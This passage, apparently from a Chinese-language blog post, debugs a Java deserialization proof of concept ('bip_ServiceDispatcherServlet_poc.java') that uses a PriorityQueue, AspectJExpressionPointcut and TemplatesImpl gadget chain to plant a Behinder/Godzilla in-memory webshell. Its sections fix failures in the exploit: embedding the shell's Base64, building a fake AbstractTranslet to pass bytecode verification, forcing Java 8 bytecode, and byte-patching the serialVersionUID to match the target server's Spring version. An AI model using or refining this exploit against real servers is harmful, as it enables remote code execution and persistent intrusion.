\u5b57\u8282\u8bfb\u5230\u975e\u6cd5\u503c\uff08\u5982 0\uff09\u65f6\uff0cswitch \u5206\u652f\u672a\u5904\u7406\uff0cpos \u6307\u9488\u505c\u5728\u9519\u8bef\u4f4d\u7f6e\uff0c\u540e\u7eed\u8bfb\u53d6 ",(0,l.jsx)(n.code,{children:"this_class"})," \u4e24\u5b57\u8282\u6307\u5411\u7684\u7d22\u5f15\u4e0d\u5b58\u5728\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u89e3\u51b3\u65b9\u6848"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5c06 ",(0,l.jsx)(n.code,{children:"SHELL_B64"})," \u66ff\u6362\u4e3a\u4ece\u51b0\u874e/\u54e5\u65af\u62c9\u751f\u6210\u7684\u771f\u5b9e\u5185\u5b58\u9a6c class \u7684\u5b8c\u6574 Base64\uff0c\u4e0d\u80fd\u662f\u622a\u65ad\u6216\u5360\u4f4d\u503c\u3002\u9a8c\u8bc1\u65b9\u6cd5\uff1a",(0,l.jsx)(n.code,{children:"Base64.getDecoder().decode(SHELL_B64).length > 100"}),"\uff0c\u4e14\u89e3\u7801\u540e\u524d 4 \u5b57\u8282\u4e3a ",(0,l.jsx)(n.code,{children:"CA FE BA BE"}),"\uff08Java class magic\uff09\u3002"]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsxs)(n.h3,{id:"\u95ee\u9898\u4e8cbase64-incorrect-ending-byte-at-17108",children:["\u95ee\u9898\u4e8c\uff1a",(0,l.jsx)(n.code,{children:"Base64 incorrect ending byte at 17108"})]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u73b0\u8c61"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:'Exception in thread "main" java.lang.IllegalArgumentException:\n Input byte array has incorrect ending byte at 17108\n'})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6839\u56e0\u5206\u6790"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"SHELL_B64"})," \u5728\u6e90\u6587\u4ef6\u4e2d\u539f\u672c\u662f\u591a\u884c\u5b57\u7b26\u4e32\u62fc\u63a5\u5199\u6cd5\uff087 \u884c ",(0,l.jsx)(n.code,{children:"+"})," \u62fc\u63a5\uff09\u3002\u7528 PowerShell \u6b63\u5219\u66ff\u6362\u65f6\uff0c\u53ea\u66ff\u6362\u4e86\u7b2c\u4e00\u884c\uff0c\u5269\u4f59 6 \u884c\u7684\u65e7\u5185\u5bb9\u4ecd\u7136\u6b8b\u7559\uff0c\u88ab\u9519\u8bef\u5730\u62fc\u63a5\u5230\u65b0\u7684\u5b8c\u6574 Base64 \u672b\u5c3e\uff0c\u5f62\u6210\u975e\u6cd5 Base64 \u5b57\u7b26\u4e32\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'// \u66ff\u6362\u540e\u7684\u9519\u8bef\u7ed3\u679c\uff08\u793a\u610f\uff09\nstatic final String SHELL_B64 =\n "yv66vg...\uff08\u65b0\u7684\u5b8c\u6574base64\uff09" // \u2190 \u65b0\u503c\n + "...\u65e7\u7684\u7b2c2\u6bb5..." // \u2190 \u6b8b\u7559\u65e7\u884c\n + "...\u65e7\u7684\u7b2c3\u6bb5..." // \u2190 \u6b8b\u7559\u65e7\u884c\n ...\n'})}),"\n",(0,l.jsx)(n.p,{children:"17108 \u5b57\u7b26\u5904\u6070\u597d\u662f\u65b0 Base64 \u7684\u672b\u5c3e\uff0c\u7d27\u63a5\u7740\u65e7\u5185\u5bb9\u7684\u975e\u6cd5\u5b57\u7b26\uff0c\u5bfc\u81f4\u89e3\u7801\u5931\u8d25\u3002"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u89e3\u51b3\u65b9\u6848"})}),"\n",(0,l.jsxs)(n.p,{children:["\u7528 ",(0,l.jsx)(n.code,{children:"ReadAllLines()"})," \u8bfb\u53d6\u6587\u4ef6\u4e3a\u884c\u6570\u7ec4\uff0c\u627e\u5230 ",(0,l.jsx)(n.code,{children:"SHELL_B64"})," \u5b9a\u4e49\u7684\u8d77\u59cb\u884c\u7d22\u5f15\u548c\u7ed3\u675f\u884c\u7d22\u5f15\uff08\u5171 7 \u884c\uff09\uff0c\u5c06\u6574\u4e2a\u533a\u95f4",(0,l.jsx)(n.strong,{children:"\u4e00\u6b21\u6027"}),"\u66ff\u6362\u4e3a\u5355\u884c\u5b9a\u4e49\uff0c\u800c\u4e0d\u662f\u53ea\u66ff\u6362\u7b2c\u4e00\u884c\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-powershell",children:'$lines = [IO.File]::ReadAllLines($path, [Text.Encoding]::UTF8)\n# \u627e\u5230 SHELL_B64 = \u5f00\u59cb\u7684\u884c\uff08startIdx\uff09\u5230\u5206\u53f7\u7ed3\u675f\u884c\uff08endIdx\uff09\n# \u5c06 startIdx..endIdx \u8fd9\u4e9b\u884c\u66ff\u6362\u4e3a\u5355\u884c\n$newLines = $lines[0..($startIdx-1)] +\n " static final String SHELL_B64 = `"$b64`";" +\n $lines[($endIdx+1)..($lines.Length-1)]\n[IO.File]::WriteAllLines($path, $newLines, [Text.Encoding]::UTF8)\n'})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h3,{id:"\u95ee\u9898\u4e09javac-\u7f16\u8bd1\u65f6\u4e2d\u6587\u6ce8\u91ca\u62a5\u9519",children:"\u95ee\u9898\u4e09\uff1ajavac \u7f16\u8bd1\u65f6\u4e2d\u6587\u6ce8\u91ca\u62a5\u9519"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u73b0\u8c61"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"bip_ServiceDispatcherServlet_poc.java:282: error: illegal character: '\\xxxxx'\nbip_ServiceDispatcherServlet_poc.java:284: error: illegal character: '\\xxxxx'\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u9519\u8bef\u884c\u6070\u597d\u662f\u4e2d\u6587\u6ce8\u91ca\u6240\u5728\u884c\u3002"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6839\u56e0\u5206\u6790"})}),"\n",(0,l.jsxs)(n.p,{children:["\u7528 ",(0,l.jsx)(n.code,{children:"[IO.File]::ReadAllText()"})," \u8bfb\u53d6\u6587\u4ef6\u518d\u7528\u6b63\u5219\u66ff\u6362\uff0cPowerShell \u9ed8\u8ba4\u628a\u591a\u5b57\u8282 UTF-8 \u5b57\u7b26\uff08\u4e2d\u6587\uff09\u7684\u67d0\u4e9b\u5b57\u8282\u62c6\u5f00\u5904\u7406\uff0c\u5199\u56de\u65f6\u5bfc\u81f4\u4e2d\u6587\u5b57\u8282\u5e8f\u5217\u635f\u574f\uff0c\u53d8\u6210\u975e\u6cd5 Unicode\u3002javac \u5c1d\u8bd5\u4ee5 UTF-8 \u89e3\u6790\u65f6\u9047\u5230\u975e\u6cd5\u5b57\u8282\u5e8f\u5217\u62a5 ",(0,l.jsx)(n.code,{children:"illegal character"}),"\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u89e3\u51b3\u65b9\u6848"})}),"\n",(0,l.jsxs)(n.p,{children:["\u6539\u7528 ",(0,l.jsx)(n.code,{children:"ReadAllLines()"})," \u5c06\u6587\u4ef6\u8bfb\u4e3a\u884c\u6570\u7ec4\uff0c\u6309",(0,l.jsx)(n.strong,{children:"\u884c\u7d22\u5f15"}),"\u76f4\u63a5\u66ff\u6362\u7279\u5b9a\u884c\uff0c\u5b8c\u5168\u907f\u5f00 regex \u5bf9\u591a\u5b57\u8282\u5b57\u7b26\u7684\u5904\u7406\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-powershell",children:'$lines = [IO.File]::ReadAllLines($path, [Text.Encoding]::UTF8)\n$lines[282] = " // \u6b63\u786e\u7684\u6ce8\u91ca\u5185\u5bb9"\n$lines[284] = " // \u6b63\u786e\u7684\u6ce8\u91ca\u5185\u5bb9"\n[IO.File]::WriteAllLines($path, $lines, (New-Object System.Text.UTF8Encoding $false))\n'})}),"\n",(0,l.jsxs)(n.p,{children:["\u5199\u56de\u65f6\u663e\u5f0f\u4f7f\u7528 ",(0,l.jsx)(n.code,{children:"UTF8Encoding($false)"}),"\uff08\u65e0 BOM\uff09\uff0c\u907f\u514d BOM \u5bfc\u81f4 javac \u89e3\u6790\u5f02\u5e38\u3002"]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsxs)(n.h3,{id:"\u95ee\u9898\u56db--release-\u53c2\u6570\u4e0d\u88ab\u652f\u6301",children:["\u95ee\u9898\u56db\uff1a",(0,l.jsx)(n.code,{children:"--release"})," \u53c2\u6570\u4e0d\u88ab\u652f\u6301"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u73b0\u8c61"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"error: option --release not supported\n"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6839\u56e0\u5206\u6790"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"--release N"})," \u662f Java 9 \u5f15\u5165\u7684 javac \u53c2\u6570\uff0c\u7528\u4e8e\u540c\u65f6\u6307\u5b9a source/target/bootstrap classpath\u3002\u672c\u673a\u5b89\u88c5\u7684\u662f Java 8 JDK\uff08",(0,l.jsx)(n.code,{children:"javac -version"})," = ",(0,l.jsx)(n.code,{children:"javac 1.8.x"}),"\uff09\uff0c\u4e0d\u652f\u6301\u8be5\u53c2\u6570\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["PoC \u5728 ",(0,l.jsx)(n.code,{children:"javax.tools.JavaCompiler"})," \u8c03\u7528\u4e2d\u4f7f\u7528\u4e86\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'List opts = Arrays.asList("--release", "8", "-d", tmp.toString());\n'})}),"\n",(0,l.jsxs)(n.p,{children:["Java 8 JDK \u4e0d\u8ba4\u8bc6 ",(0,l.jsx)(n.code,{children:"--release"}),"\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u89e3\u51b3\u65b9\u6848"})}),"\n",(0,l.jsx)(n.p,{children:"\u6539\u7528 Java 8 \u53ca\u4ee5\u4e0a\u5747\u652f\u6301\u7684\u65e7\u5f0f\u53c2\u6570\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'List opts = Arrays.asList("-source", "8", "-target", "8", "-d", tmp.toString());\n'})}),"\n",(0,l.jsxs)(n.p,{children:["\u4e24\u8005\u7b49\u4ef7\u6548\u679c\uff1a\u5f3a\u5236\u751f\u6210 major_version=52 \u7684\u5b57\u8282\u7801\u3002\u4f46 ",(0,l.jsx)(n.code,{children:"-source 8 -target 8"})," \u5728 Java 8 JDK \u4e0a\u6709\u4e00\u4e2a\u8b66\u544a\uff08bootstrap classpath \u672a\u6307\u5b9a\uff09\uff0c\u53ef\u4ee5\u5ffd\u7565\uff0c\u4e0d\u5f71\u54cd\u751f\u6210\u7684\u5b57\u8282\u7801\u7248\u672c\u3002"]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h3,{id:"\u95ee\u9898\u4e94verifyerror-\u9759\u9ed8\u5931\u8d25shell-\u672a\u6267\u884c\u65e0\u62a5\u9519",children:"\u95ee\u9898\u4e94\uff1aVerifyError \u9759\u9ed8\u5931\u8d25\uff08Shell \u672a\u6267\u884c\uff0c\u65e0\u62a5\u9519\uff09"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u73b0\u8c61"})}),"\n",(0,l.jsxs)(n.p,{children:["Payload \u53d1\u9001\u540e\u670d\u52a1\u7aef\u8fd4\u56de\u6b63\u5e38\uff08\u6216 NPE\uff09\uff0c\u4f46\u51b0\u874e\u8fde\u63a5\u540e\u65e0\u54cd\u5e94\uff0cShell \u4ece\u672a\u6267\u884c\u3002\u5728\u672c\u5730\u6d4b\u8bd5\u65f6\u52a0\u65e5\u5fd7\u53d1\u73b0 ",(0,l.jsx)(n.code,{children:"getOutputProperties()"})," \u8fd4\u56de ",(0,l.jsx)(n.code,{children:"null"}),"\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6839\u56e0\u5206\u6790"})}),"\n",(0,l.jsxs)(n.p,{children:["\u65e9\u671f\u7248\u672c\u7684 TxlCarrier \u7ee7\u627f\u4e86",(0,l.jsx)(n.strong,{children:"\u670d\u52a1\u5668 xalan \u5305\u4e2d\u7684\u771f\u5b9e AbstractTranslet"}),"\uff0c\u5e76\u5b9e\u73b0\u4e86\u5176\u62bd\u8c61\u65b9\u6cd5\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'// \u65e9\u671f\u9519\u8bef\u7248\u672c\npublic class TxlCarrier extends AbstractTranslet {\n public void transform(DOM dom, SerializationHandler handler) {} // \u2190 \u5371\u9669\u5f15\u7528\n public void transform(DOM dom, DTMAxisIterator it, SerializationHandler handler) {}\n static { Class.forName("org.apache.logging.ly.KeyUtils"); }\n}\n'})}),"\n",(0,l.jsxs)(n.p,{children:["\u65b9\u6cd5\u7b7e\u540d\u4e2d\u5f15\u7528\u4e86 ",(0,l.jsx)(n.code,{children:"DOM"}),"\u3001",(0,l.jsx)(n.code,{children:"DTMAxisIterator"}),"\u3001",(0,l.jsx)(n.code,{children:"SerializationHandler"}),"\u3002\u5728 ",(0,l.jsx)(n.code,{children:"defineClass()"})," \u9636\u6bb5\uff0cJVM \u5b57\u8282\u7801\u9a8c\u8bc1\u5668\u52a0\u8f7d\u8fd9\u4e9b\u63a5\u53e3\u65f6\u53d1\u73b0\u7248\u672c/\u7b7e\u540d\u4e0d\u5339\u914d\uff0c\u629b\u51fa\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"java.lang.VerifyError: class TxlCarrier ... overrides final method\n// \u6216\njava.lang.VerifyError: Bad type on operand stack\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"VerifyError"})," \u662f ",(0,l.jsx)(n.code,{children:"LinkageError"})," \u7684\u5b50\u7c7b\uff0c\u88ab ",(0,l.jsx)(n.code,{children:"defineTransletClasses()"})," \u7684 ",(0,l.jsx)(n.code,{children:"catch (LinkageError e)"})," \u5757\u541e\u6389\uff0c\u6574\u6761\u94fe\u9759\u9ed8\u5931\u8d25\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u89e3\u51b3\u65b9\u6848"})}),"\n",(0,l.jsxs)(n.p,{children:["\u6539\u7528\u4e0d\u542b\u4efb\u4f55\u62bd\u8c61\u65b9\u6cd5\u7684",(0,l.jsx)(n.strong,{children:"\u5047 AbstractTranslet"}),"\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// \u5047 AbstractTranslet\uff1a\u653e\u5728\u6b63\u786e\u5305\u8def\u5f84\uff0c\u65e0\u62bd\u8c61\u65b9\u6cd5\uff0c\u65e0\u63a5\u53e3\u5f15\u7528\npackage org.apache.xalan.xsltc.runtime;\npublic class AbstractTranslet {}\n"})}),"\n",(0,l.jsx)(n.p,{children:"TxlCarrier \u4e0d\u9700\u8981\u5b9e\u73b0\u4efb\u4f55\u65b9\u6cd5\uff0c\u5b57\u8282\u7801\u4e2d\u96f6 Xalan \u63a5\u53e3\u5f15\u7528\uff0c\u5b57\u8282\u7801\u9a8c\u8bc1\u901a\u8fc7\u3002"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u8bca\u65ad\u6280\u5de7"}),"\uff1aVerifyError \u662f ",(0,l.jsx)(n.code,{children:"LinkageError"})," \u5b50\u7c7b\uff0c",(0,l.jsx)(n.code,{children:"UnsupportedClassVersionError"})," \u662f ",(0,l.jsx)(n.code,{children:"ClassFormatError"})," \u5b50\u7c7b\uff0c\u4e24\u8005\u90fd\u88ab TemplatesImpl \u9759\u9ed8\u541e\u6389\u3002\u672c\u5730\u590d\u73b0\u65f6\uff0c\u53ef\u5728 TemplatesImpl \u5916\u624b\u52a8 catch \u5e76\u6253\u5370\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"try {\n templatesImpl.getOutputProperties();\n} catch (Throwable t) {\n t.printStackTrace(); // \u6b63\u5e38\u60c5\u51b5\u8fd9\u91cc\u4e0d\u4f1a\u6709\u8f93\u51fa\uff0c\u56e0\u4e3a\u5df2\u88ab\u5185\u90e8\u541e\u6389\n}\n// \u771f\u6b63\u7684\u9519\u8bef\u9700\u8981\u5728 JVM \u5c42\u9762\u52a0 -verbose:class \u89c2\u5bdf\u7c7b\u52a0\u8f7d\u8fc7\u7a0b\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u6216\u76f4\u63a5\u5728\u672c\u5730\u624b\u52a8\u8c03\u7528\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"TransletClassLoader loader = ...;\nloader.defineClass(carrierBytes); // \u5982\u679c\u8fd9\u91cc\u629b\u5f02\u5e38\uff0c\u5c31\u662f VerifyError\n"})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h3,{id:"\u95ee\u9898\u516dunsupportedclassversionerror-\u9759\u9ed8\u5931\u8d25",children:"\u95ee\u9898\u516d\uff1aUnsupportedClassVersionError \u9759\u9ed8\u5931\u8d25"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u73b0\u8c61"})}),"\n",(0,l.jsxs)(n.p,{children:["\u4e0e\u95ee\u9898\u4e94\u76f8\u540c\uff1aShell \u672a\u6267\u884c\uff0c\u65e0\u660e\u663e\u62a5\u9519\uff0c",(0,l.jsx)(n.code,{children:"getOutputProperties()"})," \u8fd4\u56de null\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6839\u56e0\u5206\u6790"})}),"\n",(0,l.jsx)(n.p,{children:"\u672c\u673a\u5b89\u88c5 Java 11 JDK\uff0c\u9ed8\u8ba4\u7f16\u8bd1\u751f\u6210 major_version=55 \u7684\u5b57\u8282\u7801\u3002\u670d\u52a1\u5668\u8fd0\u884c Java 8 JVM\uff0c\u52a0\u8f7d\u65f6\u629b\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"java.lang.UnsupportedClassVersionError: TxlCarrier has been compiled by a more\nrecent version of the Java Runtime (class file version 55.0), this version of\nthe Java Runtime only recognizes class file versions up to 52.0\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"UnsupportedClassVersionError"})," \u662f ",(0,l.jsx)(n.code,{children:"ClassFormatError"})," \u7684\u5b50\u7c7b\uff0c\u540c\u6837\u88ab ",(0,l.jsx)(n.code,{children:"catch (ClassFormatError e)"})," \u541e\u6389\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u9a8c\u8bc1\u65b9\u6cd5"})}),"\n",(0,l.jsx)(n.p,{children:"\u76f4\u63a5\u67e5\u770b\u7f16\u8bd1\u4ea7\u7269\u7684\u5b57\u8282 6-7\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-powershell",children:'# \u8bfb\u53d6 TxlCarrier.class \u5e76\u68c0\u67e5\u7b2c 7 \u5b57\u8282\uff08major_version\uff09\n$bytes = [IO.File]::ReadAllBytes("TxlCarrier.class")\nWrite-Output "major_version = $($bytes[7])"\n# \u671f\u671b\u8f93\u51fa\uff1a52\uff08Java 8\uff09\uff0c\u5b9e\u9645\u5982\u679c\u662f 55 \u5c31\u662f Java 11\n'})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u89e3\u51b3\u65b9\u6848"})}),"\n",(0,l.jsxs)(n.p,{children:["\u7f16\u8bd1\u65f6\u52a0 ",(0,l.jsx)(n.code,{children:"-source 8 -target 8"}),"\uff0c\u6216\u5207\u6362\u5230 Java 8 JDK \u7f16\u8bd1\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'// javax.tools \u7f16\u8bd1\u9009\u9879\nList opts = Arrays.asList("-source", "8", "-target", "8", "-d", outDir);\n'})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsxs)(n.h3,{id:"\u95ee\u9898\u4e03invalidclassexception--suid-\u7248\u672c\u4e0d\u5339\u914d",children:["\u95ee\u9898\u4e03\uff1a",(0,l.jsx)(n.code,{children:"InvalidClassException"})," \u2014 SUID \u7248\u672c\u4e0d\u5339\u914d"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u73b0\u8c61"})}),"\n",(0,l.jsx)(n.p,{children:"\u670d\u52a1\u7aef\u8fd4\u56de\u5305\u542b\u4ee5\u4e0b\u5185\u5bb9\u7684\u9519\u8bef\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"java.io.InvalidClassException:\n org.springframework.aop.aspectj.AspectJExpressionPointcut;\n local class incompatible:\n stream classdesc serialVersionUID = -1412488595531480267,\n local class serialVersionUID = -2303280975268180194\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u94fe\u8def\u5728\u5916\u5c42 PriorityQueue \u53cd\u5e8f\u5217\u5316\u9636\u6bb5\u5c31\u4e2d\u65ad\uff0c\u5185\u5c42\u94fe\u548c TemplatesImpl \u4ece\u672a\u88ab\u89e6\u53d1\u3002"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6839\u56e0\u5206\u6790"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"AspectJExpressionPointcut"})," \u6ca1\u6709\u663e\u5f0f\u58f0\u660e ",(0,l.jsx)(n.code,{children:"serialVersionUID"}),"\uff0c\u56e0\u6b64 JVM \u5728\u7f16\u8bd1\u65f6\u6839\u636e\u7c7b\u7ed3\u6784\u81ea\u52a8\u8ba1\u7b97\u54c8\u5e0c\u4f5c\u4e3a SUID\u3002Spring Framework \u5728\u4e0d\u540c\u7248\u672c\u4e4b\u95f4\u5bf9\u8be5\u7c7b\u505a\u4e86\u4fee\u6539\uff0c\u5bfc\u81f4 SUID \u4e0d\u540c\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\u672c\u5730\u6784\u5efa\u73af\u5883\uff1aSpring 5.3.39 \u2192 SUID = ",(0,l.jsx)(n.code,{children:"-1412488595531480267L"})]}),"\n",(0,l.jsxs)(n.li,{children:["\u76ee\u6807\u670d\u52a1\u5668\uff1aSpring 5.3.20 \u2192 SUID = ",(0,l.jsx)(n.code,{children:"-2303280975268180194L"})]}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u5e8f\u5217\u5316\u6d41\u4e2d\u5199\u5165\u7684\u662f\u672c\u5730\u6784\u5efa\u65f6\u7528\u7684 5.3.39 \u7684 SUID\uff0c\u670d\u52a1\u5668 JVM \u52a0\u8f7d 5.3.20 \u7684\u7c7b\u65f6\u53d1\u73b0\u4e0d\u5339\u914d\uff0c\u7acb\u5373\u629b\u5f02\u5e38\uff0c\u53cd\u5e8f\u5217\u5316\u4e2d\u6b62\u3002"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u89e3\u51b3\u65b9\u6848"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5728 ObjectOutputStream \u8f93\u51fa\u7684\u5b57\u8282\u6d41\u4e0a\u8fdb\u884c\u5b57\u8282\u7ea7 patch\uff1a\u627e\u5230\u7c7b\u540d ",(0,l.jsx)(n.code,{children:"org.springframework.aop.aspectj.AspectJExpressionPointcut"})," \u5728\u5e8f\u5217\u5316\u6d41\u4e2d\u7684\u4f4d\u7f6e\uff0c\u5c06\u7d27\u968f\u7c7b\u540d\u4e4b\u540e\u7684 8 \u5b57\u8282\uff08SUID\uff09\u4ece\u65e7\u503c\u66ff\u6362\u4e3a\u670d\u52a1\u5668\u503c\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"\u66ff\u6362\u524d\uff08hex\uff09\uff1aEC B7 CA 46 1A 59 B6 75 (-1412488595531480267L)\n\u66ff\u6362\u540e\uff08hex\uff09\uff1aE0 01 9E DC 53 7B 26 3E (-2303280975268180194L)\n"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u5982\u4f55\u786e\u5b9a\u670d\u52a1\u5668\u7684 SUID"})}),"\n",(0,l.jsxs)(n.p,{children:["\u65b9\u6cd5\u4e00\uff1a\u5982\u679c\u80fd\u8bfb\u53d6\u670d\u52a1\u5668 jar \u5305\uff08\u5982 ",(0,l.jsx)(n.code,{children:"spring-aspects-5.3.20.jar"}),"\uff09\uff0c\u7528 ",(0,l.jsx)(n.code,{children:"serialver"})," \u5de5\u5177\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"serialver -classpath spring-aspects-5.3.20.jar \\\n org.springframework.aop.aspectj.AspectJExpressionPointcut\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u65b9\u6cd5\u4e8c\uff1a\u5728\u670d\u52a1\u5668\u7248\u672c\u7684 Spring \u4e0b\u8fd0\u884c\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"ObjectStreamClass.lookup(AspectJExpressionPointcut.class).getSerialVersionUID()\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u65b9\u6cd5\u4e09\uff1a\u4ece\u9519\u8bef\u4fe1\u606f\u4e2d\u76f4\u63a5\u8bfb\u53d6\uff08",(0,l.jsx)(n.code,{children:"stream classdesc serialVersionUID"})," \u662f\u6211\u4eec\u53d1\u7684\uff0c",(0,l.jsx)(n.code,{children:"local class serialVersionUID"})," \u662f\u670d\u52a1\u5668\u7684\uff09\uff0c\u4e24\u8005\u4e92\u6362\u5373\u53ef\u3002"]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h3,{id:"\u95ee\u9898\u516bwrapper_b64-\u65b9\u6848\u7684\u5c40\u9650\u6027\u4e0e\u653e\u5f03",children:"\u95ee\u9898\u516b\uff1aWRAPPER_B64 \u65b9\u6848\u7684\u5c40\u9650\u6027\u4e0e\u653e\u5f03"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u65e9\u671f\u65b9\u6848"})}),"\n",(0,l.jsxs)(n.p,{children:["\u6700\u521d\u5c06 TxlCarrier.class \u9884\u7f16\u8bd1\u597d\uff0c\u53d6 Base64 \u786c\u7f16\u7801\u4e3a ",(0,l.jsx)(n.code,{children:"WRAPPER_B64"})," \u5e38\u91cf\uff0c",(0,l.jsx)(n.code,{children:"_bytecodes[0]"})," \u76f4\u63a5\u7528\u89e3\u7801\u7ed3\u679c\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'// \u65e9\u671f\u65b9\u6848\uff08\u5df2\u5e9f\u5f03\uff09\nstatic final String WRAPPER_B64 = "yv66vg...TxlCarrier\u9884\u7f16\u8bd1base64...";\n// TxlCarrier \u4e2d\u7c7b\u540d\u786c\u7f16\u7801\u4e3a\u56fa\u5b9a Shell \u7c7b\u540d\n'})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u7f3a\u9677"})}),"\n",(0,l.jsxs)(n.ol,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.strong,{children:"\u6362 Shell \u5fc5\u987b\u91cd\u65b0\u7f16\u8bd1"}),"\uff1aTxlCarrier \u91cc ",(0,l.jsx)(n.code,{children:'Class.forName("org.apache.logging.ly.KeyUtils")'})," \u7684\u7c7b\u540d\u662f\u786c\u7f16\u7801\uff0c\u6362\u4e86\u4e0d\u540c\u7684 Shell\uff08\u4e0d\u540c\u6ce8\u5165\u5668\u7c7b\u540d\uff09\u5c31\u5931\u6548"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.strong,{children:"Edit \u5de5\u5177\u65e0\u6cd5\u5339\u914d\u957f\u5b57\u7b26\u4e32"}),"\uff1a",(0,l.jsx)(n.code,{children:"WRAPPER_B64"})," \u957f\u8fbe\u6570\u5343\u5b57\u7b26\uff0cEdit tool \u7684 ",(0,l.jsx)(n.code,{children:"old_string"})," \u8fc7\u957f\u65f6\u5339\u914d\u5931\u8d25\uff0c\u5fc5\u987b\u7528 PowerShell \u6309\u884c\u7d22\u5f15\u66ff\u6362"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.strong,{children:"\u7ef4\u62a4\u6210\u672c\u9ad8"}),"\uff1a\u6bcf\u6b21\u66f4\u6362\u76ee\u6807\u6216\u5207\u6362 Shell \u5de5\u5177\uff0c\u90fd\u8981\u624b\u52a8\u91cd\u65b0\u7f16\u8bd1 